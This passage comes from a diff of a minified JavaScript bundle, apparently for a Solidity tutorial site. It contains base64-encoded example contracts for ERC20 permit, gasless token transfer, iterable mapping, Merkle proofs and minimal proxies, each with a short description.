XIKICAgICAgICBJRVJDMjBQZXJtaXQodG9rZW4pLnRyYW5zZmVyRnJvbShzZW5kZXIsIHJlY2VpdmVyLCBhbW91bnQpOwogICAgICAgIC8vIFRha2UgZmVlIC0gc2VuZCBmZWUgdG8gbXNnLnNlbmRlcgogICAgICAgIElFUkMyMFBlcm1pdCh0b2tlbikudHJhbnNmZXJGcm9tKHNlbmRlciwgbXNnLnNlbmRlciwgZmVlKTsKICAgIH0KfQo="}],ou=`

            Gasless ERC20 token transfer with Meta transaction

            +`,cu=({prev:s,next:a})=>i.jsx(u,{version:au,title:nu,description:lu,html:eu,prev:s,next:a,codes:pu}),tu="0.8.20",ou="Gasless Token Transfer",ru="Gasless ERC20 token transfer with Meta transaction",iu=[{fileName:"ERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IEFHUEwtMy4wLW9ubHkKcHJhZ21hIHNvbGlkaXR5ID49MC44LjA7CgovLy8gQG5vdGljZSBNb2Rlcm4gYW5kIGdhcyBlZmZpY2llbnQgRVJDMjAgKyBFSVAtMjYxMiBpbXBsZW1lbnRhdGlvbi4KLy8vIEBhdXRob3IgU29sbWF0ZSAoaHR0cHM6Ly9naXRodWIuY29tL3RyYW5zbWlzc2lvbnMxMS9zb2xtYXRlL2Jsb2IvbWFpbi9zcmMvdG9rZW5zL0VSQzIwLnNvbCkKLy8vIEBhdXRob3IgTW9kaWZpZWQgZnJvbSBVbmlzd2FwIChodHRwczovL2dpdGh1Yi5jb20vVW5pc3dhcC91bmlzd2FwLXYyLWNvcmUvYmxvYi9tYXN0ZXIvY29udHJhY3RzL1VuaXN3YXBWMkVSQzIwLnNvbCkKLy8vIEBkZXYgRG8gbm90IG1hbnVhbGx5IHNldCBiYWxhbmNlcyB3aXRob3V0IHVwZGF0aW5nIHRvdGFsU3VwcGx5LCBhcyB0aGUgc3VtIG9mIGFsbCB1c2VyIGJhbGFuY2VzIG11c3Qgbm90IGV4Y2VlZCBpdC4KYWJzdHJhY3QgY29udHJhY3QgRVJDMjAgewogICAgLyovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8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mVyLAogICAgICAgIGFkZHJlc3Mgc3BlbmRlciwKICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIHB1YmxpYyB2aXJ0dWFsIHsKICAgICAgICByZXF1aXJlKGRlYWRsaW5lID49IGJsb2NrLnRpbWVzdGFtcCwgIlBFUk1JVF9ERUFETElORV9FWFBJUkVEIik7CgogICAgICAgIC8vIFVuY2hlY2tlZCBiZWNhdXNlIHRoZSBvbmx5IG1hdGggZG9uZSBpcyBpbmNyZW1lbnRpbmcKICAgICAgICAvLyB0aGUgb3duZXIncyBub25jZSB3aGljaCBjYW5ub3QgcmVhbGlzdGljYWxseSBvdmVyZmxvdy4KICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBhZGRyZXNzIHJlY292ZXJlZEFkZHJlc3MgPSBlY3JlY292ZXIoCiAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZCgKICAgICAgICAgICAgICAgICAgICAgICAgIlx4MTlceDAxIiwKICAgICAgICAgICAgICAgICAgICAgICAgRE9NQUlOX1NFUEFSQVRPUigpLAogICAgICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYmkuZW5jb2RlKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlBlcm1pdChhZGRyZXNzIG93bmVyLGFkZHJlc3Mgc3BlbmRlcix1aW50MjU2IHZhbHVlLHVpbnQyNTYgbm9uY2UsdWludDI1NiBkZWFkbGluZSkiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvd25lciwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcGVuZGVyLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5vbmNlc1tvd25lcl0rKywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWFkbGluZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgKSwKICAgICAgICAgICAgICAgIHYsCiAgICAgICAgICAgICAgICByLAogICAgICAgICAgICAgICAgcwogICAgICAgICAgICApOwoKICAgICAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgICAgIHJlY292ZXJlZEFkZHJlc3MgIT0gYWRkcmVzcygwKSAmJiByZWNvdmVyZWRBZGRyZXNzID09IG93bmVyLAogICAgICAgICAgICAgICAgIklOVkFMSURfU0lHTkVSIgogICAgICAgICAgICApOwoKICAgICAgICAgICAgYWxsb3dhbmNlW3JlY292ZXJlZEFkZHJlc3NdW3NwZW5kZXJdID0gdmFsdWU7CiAgICAgICAgfQoKICAgICAgICBlbWl0IEFwcHJvdmFsKG93bmVyLCBzcGVuZGVyLCB2YWx1ZSk7CiAgICB9CgogICAgZnVuY3Rpb24gRE9NQUlOX1NFUEFSQVRPUigpIHB1YmxpYyB2aWV3IHZpcnR1YWwgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybgogICAgICAgICAgICBibG9jay5jaGFpbmlkID09IElOSVRJQUxfQ0hBSU5fSUQKICAgICAgICAgICAgICAgID8gSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SCiAgICAgICAgICAgICAgICA6IGNvbXB1dGVEb21haW5TZXBhcmF0b3IoKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjb21wdXRlRG9tYWluU2VwYXJhdG9yKCkgaW50ZXJuYWwgdmlldyB2aXJ0dWFsIHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgYWJpLmVuY29kZSgKICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgICJFSVA3MTJEb21haW4oc3RyaW5nIG5hbWUsc3RyaW5nIHZlcnNpb24sdWludDI1NiBjaGFpbklkLGFkZHJlc3MgdmVyaWZ5aW5nQ29udHJhY3QpIgogICAgICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICAgICAga2VjY2FrMjU2KGJ5dGVzKG5hbWUpKSwKICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoIjEiKSwKICAgICAgICAgICAgICAgICAgICBibG9jay5jaGFpbmlkLAogICAgICAgICAgICAgICAgICAgIGFkZHJlc3ModGhpcykKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgKTsKICAgIH0KCiAgICAvKi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCiAgICAgICAgICAgICAgICAgICAgICAgIElOVEVSTkFMIE1JTlQvQlVSTiBMT0dJQwogICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8qLwoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KSBpbnRlcm5hbCB2aXJ0dWFsIHsKICAgICAgICB0b3RhbFN1cHBseSArPSBhbW91bnQ7CgogICAgICAgIC8vIENhbm5vdCBvdmVyZmxvdyBiZWNhdXNlIHRoZSBzdW0gb2YgYWxsIHVzZXIKICAgICAgICAvLyBiYWxhbmNlcyBjYW4ndCBleGNlZWQgdGhlIG1heCB1aW50MjU2IHZhbHVlLgogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIGJh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2YWx1ZSk7Cn0KCmNvbnRyYWN0IEdhc2xlc3NUb2tlblRyYW5zZmVyIHsKICAgIGZ1bmN0aW9uIHNlbmQoCiAgICAgICAgYWRkcmVzcyB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2VpdmVyLAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZmVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgLy8gUGVybWl0IHNpZ25hdHVyZQogICAgICAgIHVpbnQ4IHYsCiAgICAgICAgYnl0ZXMzMiByLAogICAgICAgIGJ5dGVzMzIgcwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gUGVybWl0CiAgICAgICAgSUVSQzIwUGVybWl0KHRva2VuKS5wZXJtaXQoCiAgICAgICAgICAgIHNlbmRlciwKICAgICAgICAgICAgYWRkcmVzcyh0aGlzKSwKICAgICAgICAgICAgYW1vdW50ICsgZmVlLAogICAgICAgICAgICBkZWFkbGluZSwKICAgICAgICAgICAgdiwKICAgICAgICAgICAgciwKICAgICAgICAgICAgcwogICAgICAgICk7CiAgICAgICAgLy8gU2VuZCBhbW91bnQgdG8gcmVjZWl2ZXIKICAgICAgICBJRVJDMjBQZXJtaXQodG9rZW4pLnRyYW5zZmVyRnJvbShzZW5kZXIsIHJlY2VpdmVyLCBhbW91bnQpOwogICAgICAgIC8vIFRha2UgZmVlIC0gc2VuZCBmZWUgdG8gbXNnLnNlbmRlcgogICAgICAgIElFUkMyMFBlcm1pdCh0b2tlbikudHJhbnNmZXJGcm9tKHNlbmRlciwgbXNnLnNlbmRlciwgZmVlKTsKICAgIH0KfQo="}],hu=`

            Gasless ERC20 token transfer with Meta transaction

            // SPDX-License-Identifier: MIT
             pragma solidity ^0.8.20;
             
            @@ -1756,7 +1756,7 @@ How to swap tokens
                     _mint(to, amount);
                 }
             }
            -
            `,ru=({prev:s,next:a})=>i.jsx(u,{version:pu,title:eu,description:cu,html:ou,prev:s,next:a,codes:tu}),iu="0.8.20",hu="Iterable Mapping",gu="Iterable Mapping in Solidity",du=[{fileName:"IterableMapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmxpYnJhcnkgSXRlcmFibGVNYXBwaW5nIHsKICAgIC8vIEl0ZXJhYmxlIG1hcHBpbmcgZnJvbSBhZGRyZXNzIHRvIHVpbnQ7CiAgICBzdHJ1Y3QgTWFwIHsKICAgICAgICBhZGRyZXNzW10ga2V5czsKICAgICAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludCkgdmFsdWVzOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50KSBpbmRleE9mOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBpbnNlcnRlZDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoTWFwIHN0b3JhZ2UgbWFwLCBhZGRyZXNzIGtleSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBtYXAudmFsdWVzW2tleV07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0S2V5QXRJbmRleChNYXAgc3RvcmFnZSBtYXAsIHVpbnQgaW5kZXgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICByZXR1cm4gbWFwLmtleXNbaW5kZXhdOwogICAgfQoKICAgIGZ1bmN0aW9uIHNpemUoTWFwIHN0b3JhZ2UgbWFwKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIG1hcC5rZXlzLmxlbmd0aDsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoTWFwIHN0b3JhZ2UgbWFwLCBhZGRyZXNzIGtleSwgdWludCB2YWwpIHB1YmxpYyB7CiAgICAgICAgaWYgKG1hcC5pbnNlcnRlZFtrZXldK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sKICAgICAgICBtYXAuc2V0KGFkZHJlc3MoMSksIDEwMCk7CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDIpLCAyMDApOyAvLyBpbnNlcnQKICAgICAgICBtYXAuc2V0KGFkZHJlc3MoMiksIDIwMCk7IC8vIHVwZGF0ZQogICAgICAgIG1hcC5zZXQoYWRkcmVzcygzKSwgMzAwKTsKCiAgICAgICAgZm9yICh1aW50IGkgPSAwOyBpIDwgbWFwLnNpemUoKTsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3Mga2V5ID0gbWFwLmdldEtleUF0SW5kZXgoaSk7CgogICAgICAgICAgICBhc3NlcnQobWFwLmdldChrZXkpID09IGkgKiAxMDApOwogICAgICAgIH0KCiAgICAgICAgbWFwLnJlbW92ZShhZGRyZXNzKDEpKTsKCiAgICAgICAgLy8ga2V5cyA9IFthZGRyZXNzKDApLCBhZGRyZXNzKDMpLCBhZGRyZXNzKDIpXQogICAgICAgIGFzc2VydChtYXAuc2l6ZSgpID09IDMpOwogICAgICAgIGFzc2VydChtYXAuZ2V0S2V5QXRJbmRleCgwKSA9PSBhZGRyZXNzKDApKTsKICAgICAgICBhc3NlcnQobWFwLmdldEtleUF0SW5kZXgoMSkgPT0gYWRkcmVzcygzKSk7CiAgICAgICAgYXNzZXJ0KG1hcC5nZXRLZXlBdEluZGV4KDIpID09IGFkZHJlc3MoMikpOwogICAgfQp9Cg=="}],Iu=`

            You cannot iterate through a mapping. So here is an example of how to create an iterable mapping.

            +`,gu=({prev:s,next:a})=>i.jsx(u,{version:tu,title:ou,description:ru,html:hu,prev:s,next:a,codes:iu}),du="0.8.20",Iu="Iterable Mapping",Cu="Iterable Mapping in Solidity",ju=[{fileName:"IterableMapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmxpYnJhcnkgSXRlcmFibGVNYXBwaW5nIHsKICAgIC8vIEl0ZXJhYmxlIG1h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wgbWFwLnNpemUoKTsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3Mga2V5ID0gbWFwLmdldEtleUF0SW5kZXgoaSk7CgogICAgICAgICAgICBhc3NlcnQobWFwLmdldChrZXkpID09IGkgKiAxMDApOwogICAgICAgIH0KCiAgICAgICAgbWFwLnJlbW92ZShhZGRyZXNzKDEpKTsKCiAgICAgICAgLy8ga2V5cyA9IFthZGRyZXNzKDApLCBhZGRyZXNzKDMpLCBhZGRyZXNzKDIpXQogICAgICAgIGFzc2VydChtYXAuc2l6ZSgpID09IDMpOwogICAgICAgIGFzc2VydChtYXAuZ2V0S2V5QXRJbmRleCgwKSA9PSBhZGRyZXNzKDApKTsKICAgICAgICBhc3NlcnQobWFwLmdldEtleUF0SW5kZXgoMSkgPT0gYWRkcmVzcygzKSk7CiAgICAgICAgYXNzZXJ0KG1hcC5nZXRLZXlBdEluZGV4KDIpID09IGFkZHJlc3MoMikpOwogICAgfQp9Cg=="}],uu=`

            You cannot iterate through a mapping. So here is an example of how to create an iterable mapping.

            // SPDX-License-Identifier: MIT
             pragma solidity ^0.8.20;
             
            @@ -1838,7 +1838,7 @@ How to swap tokens
                     assert(map.getKeyAtIndex(2) == address(2));
                 }
             }
            -
            `,Cu=({prev:s,next:a})=>i.jsx(u,{version:iu,title:hu,description:gu,html:Iu,prev:s,next:a,codes:du}),ju="0.8.20",uu="Merkle Tree",yu="Learn about Merkle tree in Solidity",mu=[{fileName:"MerkleTree.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE1lcmtsZVByb29mIHsKICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mLAogICAgICAgIGJ5dGVzMzIgcm9vdCwKICAgICAgICBieXRlczMyIGxlYWYsCiAgICAgICAgdWludCBpbmRleAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYnl0ZXMzMiBwcm9vZkVsZW1lbnQgPSBwcm9vZltpXTsKCiAgICAgICAgICAgIGlmIChpbmRleCAlIDIgPT0gMCkgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGhhc2gsIHByb29mRWxlbWVudCkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHByb29mRWxlbWVudCwgaGFzaCkpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpbmRleCA9IGluZGV4IC8gMjsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoID09IHJvb3Q7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RNZXJrbGVQcm9vZiBpcyBNZXJrbGVQcm9vZiB7CiAgICBieXRlczMyW10gcHVibGljIGhhc2hlczsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBzdHJpbmdbNF0gbWVtb3J5IHRyYW5zYWN0aW9ucyA9IFsKICAgICAgICAgICAgImFsaWNlIC0+IGJvYiIsCiAgICAgICAgICAgICJib2IgLT4gZGF2ZSIsCiAgICAgICAgICAgICJjYXJvbCAtPiBhbGljZSIsCiAgICAgICAgICAgICJkYXZlIC0+IGJvYiIKICAgICAgICBdOwoKICAgICAgICBmb3IgKHVpbnQgaSA9IDA7IGkgPCB0cmFuc2FjdGlvbnMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgaGFzaGVzLnB1c2goa2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQodHJhbnNhY3Rpb25zW2ldKSkpOwogICAgICAgIH0KCiAgICAgICAgdWludCBuID0gdHJhbnNhY3Rpb25z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=`

            Merkle tree allows you to cryptographically prove that an element is contained

            +`,yu=({prev:s,next:a})=>i.jsx(u,{version:du,title:Iu,description:Cu,html:uu,prev:s,next:a,codes:ju}),mu="0.8.20",Au="Merkle Tree",bu="Learn about Merkle tree in Solidity",wu=[{fileName:"MerkleTree.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE1lcmtsZVByb29mIHsKICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mLAogICAgICAgIGJ5dGVzMzIgcm9vdCwKICAgICAgICBieXRlczMyIGxlYWYsCiAgICAgICAgdWludCBpbmRleAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYnl0ZXMzMiBwcm9vZkVsZW1lbnQgPSBwcm9vZltpXTsKCiAgICAgICAgICAgIGlmIChpbmRleCAlIDIgPT0gMCkgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGhhc2gsIHByb29mRWxlbWVudCkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHByb29mRWxlbWVudCwgaGFzaCkpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpbmRleCA9IGluZGV4IC8gMjsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoID09IHJvb3Q7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RNZXJrbGVQcm9vZiBpcyBNZXJrbGVQcm9vZiB7CiAgICBieXRlczMyW10gcHVibGljIGhhc2hlczsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBzdHJpbmdbNF0gbWVtb3J5IHRyYW5zYWN0aW9ucyA9IFsKICAgICAgICAgICAgImFsaWNlIC0+IGJvYiIsCiAgICAgICAgICAgICJib2IgLT4gZGF2ZSIsCiAgICAgICAgICAgICJjYXJvbCAtPiBhbGljZSIsCiAgICAgICAgICAgICJkYXZlIC0+IGJvYiIKICAgICAgICBdOwoKICAgICAgICBmb3IgKHVpbnQgaSA9IDA7IGkgPCB0cmFuc2FjdGlvbnMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgaGFzaGVzLnB1c2goa2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQodHJhbnNhY3Rpb25zW2ldKSkpOwogICAgICAgIH0KCiAgICAgICAgdWludCBuID0gdHJhbnNhY3Rpb25zLmxlbmd0aDsKICAgICAgICB1aW50IG9mZnNldCA9IDA7CgogICAgICAgIHdoaWxlIChuID4gMCkgewogICAgICAgICAgICBmb3IgKHVpbnQgaSA9IDA7IGkgPCBuIC0gMTsgaSArPSAyKSB7CiAgICAgICAgICAgICAgICBoYXNoZXMucHVzaCgKICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoaGFzaGVzW29mZnNldCArIGldLCBoYXNoZXNbb2Zmc2V0ICsgaSArIDFdKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgb2Zmc2V0ICs9IG47CiAgICAgICAgICAgIG4gPSBuIC8gMjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Um9vdCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4gaGFzaGVzW2hhc2hlcy5sZW5ndGggLSAxXTsKICAgIH0KCiAgICAvKiB2ZXJpZnkKICAgIDNyZCBsZWFmCiAgICAweGRjYTMzMjZhZDdlODEyMWJmOWNmOWMxMjMzM2U2YjIyNzFhYmU4MjNlYzllZGZlNDJmODEzYjFlNzY4ZmE1N2IKCiAgICByb290CiAgICAweGNjMDg2ZmNjMDM4MTg5YjQ2NDFkYjJjYzRmMWRlM2JiMTMyYWVmYmQ2NWQ1MTBkODE3NTkxNTUwOTM3ODE4YzcKCiAgICBpbmRleAogICAgMgoKICAgIHByb29mCiAgICAweDhkYTllMWM4MjBmOWRiZDE1ODlmZDY1ODU4NzJiYzEwNjM1ODg2MjU3MjllN2FiMDc5N2NmYzYzYTAwYmQ5NTAKICAgIDB4OTk1Nzg4ZmZjMTAzYjk4N2FkNTBmNWU1NzA3ZmQwOTQ0MTllYjEyZDk1NTJjYzQyM2JkMGNkODZhMzg2MTQzMwogICAgKi8KfQo="}],ku=`

            Merkle tree allows you to cryptographically prove that an element is contained

            in a set without revealing the entire set.

            // SPDX-License-Identifier: MIT
             pragma solidity ^0.8.20;
            @@ -1918,7 +1918,7 @@ How to swap tokens
                 0x995788ffc103b987ad50f5e5707fd094419eb12d9552cc423bd0cd86a3861433
                 */
             }
            -
            `,bu=({prev:s,next:a})=>i.jsx(u,{version:ju,title:uu,description:yu,html:Au,prev:s,next:a,codes:mu}),wu="0.8.20",ku="Minimal Proxy Contract",Zu="Deploy contracts cheaply with minimal proxy contract",Wu=[{fileName:"MinimalProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIG9yaWdpbmFsIGNvZGUKLy8gaHR0cHM6Ly9naXRodWIuY29tL29wdGlvbmFsaXR5L2Nsb25lLWZhY3RvcnkvYmxvYi9tYXN0ZXIvY29udHJhY3RzL0Nsb25lRmFjdG9yeS5zb2wKCmNvbnRyYWN0IE1pbmltYWxQcm94eSB7CiAgICBmdW5jdGlvbiBjbG9uZShhZGRyZXNzIHRhcmdldCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRk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PSBtbG9hZCgweDQwKQogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIgogICAgICAgICAgICBtc3RvcmUoCiAgICAgICAgICAgICAgICBjbG9uZSwKICAgICAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgMHgzZDYwMmQ4MDYwMGEzZDM5ODFmMzM2M2QzZDM3M2QzZDNkMzYzZDczMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9pbnRlcgogICAgICAgICAgICAqLwogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIiArIDIwIGJ5dGVzCiAgICAgICAgICAgIC8vIDB4MTQgPSAyMAogICAgICAgICAgICBtc3RvcmUoYWRkKGNsb25lLCAweDE0KSwgdGFyZ2V0Qnl0ZXMpCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXIKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gc3RvcmUgMzIgYnl0ZXMgdG8gbWVtb3J5IHN0YXJ0aW5nIGF0ICJjbG9uZSIgKyA0MCBieXRlcwogICAgICAgICAgICAvLyAweDI4ID0gNDAKICAgICAgICAgICAgbXN0b3JlKAogICAgICAgICAgICAgICAgYWRkKGNsb25lLCAweDI4KSwKICAgICAgICAgICAgICAgIDB4NWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8ICAgICAgICAgICAxNSBieXRlcyAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmU1YWY0M2Q4MjgwM2U5MDNkOTE2MDJiNTdmZDViZjMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gY3JlYXRlIG5ldyBjb250cmFjdAogICAgICAgICAgICAvLyBzZW5kIDAgRXRoZXIKICAgICAgICAgICAgLy8gY29kZSBzdGFydHMgYXQgcG9pbnRlciBzdG9yZWQgaW4gImNsb25lIgogICAgICAgICAgICAvLyBjb2RlIHNpemUgMHgzNyAoNTUgYnl0ZXMpCiAgICAgICAgICAgIHJlc3VsdCA6PSBjcmVhdGUoMCwgY2xvbmUsIDB4MzcpCiAgICAgICAgfQogICAgfQp9Cg=="}],Bu=`

            If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply.

            +`,Zu=({prev:s,next:a})=>i.jsx(u,{version:mu,title:Au,description:bu,html:ku,prev:s,next:a,codes:wu}),Wu="0.8.20",Bu="Minimal Proxy Contract",Gu="Deploy contracts cheaply with minimal proxy 